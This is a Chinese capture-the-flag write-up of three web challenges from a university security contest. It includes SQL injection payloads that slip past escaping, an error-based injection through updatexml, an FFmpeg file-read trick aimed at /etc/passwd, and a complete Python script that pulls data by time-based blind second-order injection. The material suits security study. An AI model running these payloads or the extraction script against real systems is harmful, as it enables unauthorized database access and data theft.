全国大学生信息安全竞赛Web 3题writeup

wanna to see your hat?

lv帽子很帅

f12开调试发现
有SQL语句返回,在检查帽子的地方

select count(*) from t_info where username = 'test' or nickname = 'test'

发现对' \进行了过滤
过滤规则

'->\
\->\\
那么也就完美的避开了单引号,也因此让我们有机会利用过滤来插入反斜杠

最后payload:
or/**/1=1#'

完整语句也就是

select count(*) from t_info where username = 'or/**/1=1#\' or nickname = 'or/**/1=1#\'

方舟计划

注册的位置 发现可以无限注册,遂猜想是insert into 注入 语句大致也可以猜出来

insert into table values(0,'$username','$password','$phone'),

因为密码的加密方式不可知,因此不可能直接构造出一个用户。想来想去最后采用了报错注入
payload:

username='bertram'&phone=' or updatexml(1,concat(0x7c,(/*!50001select*/a.name /*!50001from*/(/*!50001select*/ config.* /*!50001from*/ user config limit 0,1) a),0x7c),1)or'&password='admin'=''#&repassword='admin'=''#

获取到用户名是fangzh0u
然后注入一个config表的secertkey,获取到加密密钥

然后随手百度了一个AES的php版本,就开了233得到
tencent123

然后发现是个上传,但是只是一个接口,avi格式的视频转mp4,然后想到上个月的时候看过freebuf的一篇文章……

漏洞预警 | FFmpeg曝任意文件读取漏洞

美滋滋,但是始终没找到flag,然后就问了下web管理员,告诉我是个经常读取的文件,然后联想到一开始的/etc/passwd读取失败,然后双写//绕过了

读取到一个奇怪的登陆目录s0m3b0dy

然后抱着试一试的心态去试了下/home/s0m3b0dy/flag.txt
然后就找到flag了

flag vending machine

超多坑点的题

由于白天都在开车,拿到题的时候已经被日的差不多了,上手发现只有注册登陆和购买三个功能,提示是在数据库中,而且用户名+单引号注册后,单引号被转义,因此猜测是二次注入。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import time

def login(username):

    login_url="http://120.132.55.92:8888/login.php";
    #print "start"

    login_session= requests.Session()
    headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}

    data={'user':username,'pass':'123'}
    login=login_session.post(login_url,data=data,headers=headers)
    #print login.content
    if "Welcome to Flag Vending machine" in login.content:
        ##print "OK"
        url="http://120.132.55.92:8888/buy.php?id=1"
        start=time.time()
        login_session.get(url,headers=headers)
        end=time.time()
        print end-start
        if end-start>=3:
            print "OK"
            return True
        else:
            return False
    else:
        return False

def register(username):
    url = "http://120.132.55.92:8888/register.php"
    headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}
    data={'user':username,'pass':'123'}
    mysess= requests.Session()
    login=mysess.post(url,data=data,headers=headers)
    if "Register success" in login.content:
        #print "OK",
        return True
    else:
        return False

def sqli():
    
    dist="f1ag1234567890.abcdefghijklmnopqrstuvwxyxzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+`"
    flag=''
    tables=[]
    for x in xrange(0,429):
        for j in xrange(1,32):
            for i in xrange(32,127):
                sql1="bertsc' and if(ascii(substr((selselectect thisi5f14g from fff1ag limit "+str(x)+",1),"+str(j)+",1))='"+str(i)+"',sleep(3),2)#"
                sql2="bertsc' and if(ascii(substr((select thisi5f14g from fff1ag limit "+str(x)+",1),"+str(j)+",1))='"+str(i)+"',sleep(3),2)#"
                print sql2
                if register(sql1)==True:
                    if login(sql2)==True:
                        flag=flag+chr(i)
                        print flag
                        break
                    else:
                        continue
                else:
                    if login(sql2)==True:
                        flag=flag+chr(i)
                        print flag
                        break
                    else:
                        continue
        print flag
        tables.append(flag)
        return tables

if __name__ == "__main__":
    print register("bertsc")
    tables=sqli()
    print tables
# Register success
# thisi5f14g
#for i in xrange(19,127)
# if(mid((select table_name from information_schema.tables where table_schema='gsctfweb1' limit 0,1) ,1,1)='y',sleep(3),2)#
#bertram31' and if(mid((select table_name from information_schema.tables where table_schema='gsctfweb1' limit 0,1) ,1,1)=0x1,sleep(3),2)#
#fff1ag

主要遇到没解决的坑点是 在跑表名的时候发现自己的脚本本地可以用

where table_schema!='xxxx'

但是发现远程就不行了。说明还有什么很奇怪的地方,没注意到,绕不过就不管他,按照习惯从最后一张表开始注获取表名

一个个取尝试,分别获取表名列名,最后获取flag

此处评论已关闭